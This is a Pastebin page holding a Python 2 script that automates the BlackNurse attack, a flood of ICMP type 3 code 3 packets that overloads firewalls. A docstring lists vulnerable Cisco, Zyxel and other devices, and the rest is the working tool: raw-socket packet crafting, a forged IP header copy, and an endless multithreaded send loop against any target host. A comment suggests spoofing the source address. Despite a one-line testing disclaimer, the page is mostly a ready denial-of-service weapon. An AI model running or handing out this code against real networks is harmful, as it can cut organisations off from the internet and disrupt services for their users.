Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- """
- @ Date - 14th November, 2016 (Monday)
- @ Developer - Aung Pyay Thar
- @ This script is written in python 2.
- @ This script automates blacknurse attack which uses ICMP Packets of code 3 and type 3.
- @ Blacknurse attack targets firewalls.
- @ It is a special type of ICMP flooding attack.
- @ Even with a low bandwith, it causes significant CPU load on firewalls,
- @ thereby causing the firewalls to drop so many packets and cut out LAN side from the outer internet.
- @ One thing to note here is that icmp type 3 code 3 can consume more CPU resources on firewalls than other types of icmp
- packet.
- @ With this attack vector, even the limited resource from an average computer is enough to bring down a large
- server.
- @ According to the researches made in Danish TDC SOC, after reaching a threshold of 15 Mbit/s to 18 Mbit/s, firewall
- dropped so many packets and the server went offline.
- @ But ,in the above said research, the firewall recovered as soon as the attack stopped.
- @ The purpose of this script is just for testing your firewalls and routers if they are vulnerable to blacknurse
- attack or not.
- @ I have no responsibility for causing damage on systems that you have not the permission to do so by using this
- script.
- @ At the time of writing this, the current updated list of products vulnerable to blacknurse is the followings.
- @ - Cisco ASA 5506, 5515, 5525 (default settings)
- @ - Cisco ASA 5550 (Legacy)
- @ - Cisco ASA 5515-X (latest generation)
- @ - Cisco Router 897 (except rate-limited)
- @ - Palo Alto (unverified)
- @ - Sonic Wall (if misconfigured)
- @ - Zyxel NWA3560-N (for wireless attack in LAN)
- @ - Zyxel Zywall USG50
- """
- import sys
- import os
- import threading
- import socket
- import struct
- import random
- class ICMP_header(object):
- def __init__(self):
- self.type = 3
- self.code = 3
- self.checksum = 0
- self.unused = 0
- def craft_header(self):
- self.icmp_header = struct.pack("!2BHL", self.type, self.code, self.checksum, self.unused )
- def get_header(self):
- return self.icmp_header
- # Why IP Header is necessary here?
- # In data section of the "Destination Port Unreachable" ICMP message, a copy of the IPv4 header that causes the error must be included.
- # Since we are not dealing with real errors, we have to fake it. XD
- class IP_copy(object):
- def __init__(self, src_ip, dst_ip):
- self.version = 4
- self.ihl = 5
- self.ver_ihl = (self.version << 4) | self.ihl
- self.tos = 0
- self.total_len = 28
- self.id = random.randrange(0, 2 ** 16)
- self.flag_frag = 0
- self.ttl = 64
- self.protocol = 6
- self.checksum = 0
- self.src_ip = socket.inet_aton(src_ip)
- self.dst_ip = socket.inet_aton(dst_ip)
- def craft_header(self):
- self.ip_header = struct.pack("!2B3H2BH4s4s", self.ver_ihl, self.tos, self.total_len, self.id, self.flag_frag,
- self.ttl, self.protocol, self.checksum, self.src_ip, self.dst_ip )
- def get_header(self):
- return self.ip_header
- # Why TCP header here too?
- # As said in above, in data section of the error message, the first eight bytes after IPv4 header must be also included.
- class TCP_copy(object):
- def __init__(self):
- self.src_port = random.randrange(0, 2 ** 16)
- self.dst_port = random.randrange(0, 2 ** 16)
- self.seq_num = random.randrange(0, 2 ** 32)
- def craft_header(self):
- self.tcp_header = struct.pack("!2HL", self.src_port, self.dst_port, self.seq_num )
- def get_header(self):
- return self.tcp_header
- # just a function for calculating checksum. XP
- def calc_checksum(input_str):
- checksum = 0
- length = (len(input_str) / 2) * 2
- for i in range(0, length, 2):
- checksum += (ord(input_str[i]) << 8) | ord(input_str[i + 1])
- checksum = (checksum >> 16) + (checksum & 0xffff)
- if length < len(input_str):
- checksum += ord(input_str[-1])
- checksum = (checksum >> 16) + (checksum & 0xffff)
- return ~checksum & 0xffff
- # the main function that launches blacknurse attack
- def launch_blacknurse(target_ip):
- global packet_sent
- s = socket.socket(socket.AF_INET, socket.SOCK_RAW, 1) # socket.getprotobyname("icmp") = 1
- my_ip = socket.gethostbyname(socket.gethostname()) # obtain the ip of the machine. Spoof if u want to.
- # build icmp header
- icmp_crafter = ICMP_header()
- icmp_crafter.craft_header()
- icmp_header = icmp_crafter.get_header()
- # Here comes icmp data. It must include a copy of IPv4 header that causes the error and eight bytes of data
- # after calculating checksum.
- # craft the fake ip header
- ip_crafter = IP_copy(target_ip, my_ip)
- ip_crafter.craft_header()
- ip_header = ip_crafter.get_header()
- # eight bytes of data after IP header. So it is the first eight bytes from TPC header.
- tcp_crafter = TCP_copy()
- tcp_crafter.craft_header()
- tcp_header = tcp_crafter.get_header()
- # construct and complete the packet
- icmp_msg = icmp_header + ip_header + tcp_header
- msg_len = len(icmp_msg)
- # calculate the checksum. Note that checksum field in ICMP header must be filled with zero before it.
- new_checksum = calc_checksum(icmp_msg)
- # divide the packet into three. The middle one is for checksum field
- # and insert the calculated new checksum value into the packet.
- part1, checksum, part2 = struct.unpack("!2sH%ds" % (msg_len - 4), icmp_msg)
- icmp_msg = struct.pack("!2sH%ds" % (msg_len -4), part1, new_checksum, part2)
- # send it to mess things up
- # Don't panic. The source port here is actually the destination port we have to send. Bcoz it is from the copy
- # of the message pretended to be sent from our target that causes the error.
- s.sendto(icmp_msg, (target_ip, tcp_crafter.src_port) )
- s.close()
- packet_sent += 1
- conn_lock.release()
- if __name__ == "__main__":
- if os.getuid() != 0:
- print "[-] This script must be run as root (uid = 0)."
- exit(1)
- if len(sys.argv) != 2:
- print "usage : python %s <target host>" % sys.argv[0]
- exit(2)
- conn_lock = threading.BoundedSemaphore(value = 500) # You can specify any thread numbers you want
- packet_sent = 0 # for keeping track of number of packets sent.
- target_host = sys.argv[1]
- try:
- target_ip = socket.gethostbyname(target_host)
- except socket.gaierror:
- print "[-] hostname cannot be resolved"
- exit(3)
- print "[*] blacknurse attack started"
- while True: # Ctrl-C to the rescue if you want to break out of it. XD
- try:
- conn_lock.acquire()
- each_thread = threading.Thread(target = launch_blacknurse, args = (target_ip,) )
- each_thread.setDaemon(True)
- each_thread.start()
- #sys.stdout.write("%d packet(s) sent\r" % packet_sent) # uncomment it if you want to see how many packets sent
- except KeyboardInterrupt:
- print "\f[*] exit by user"
- exit(0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement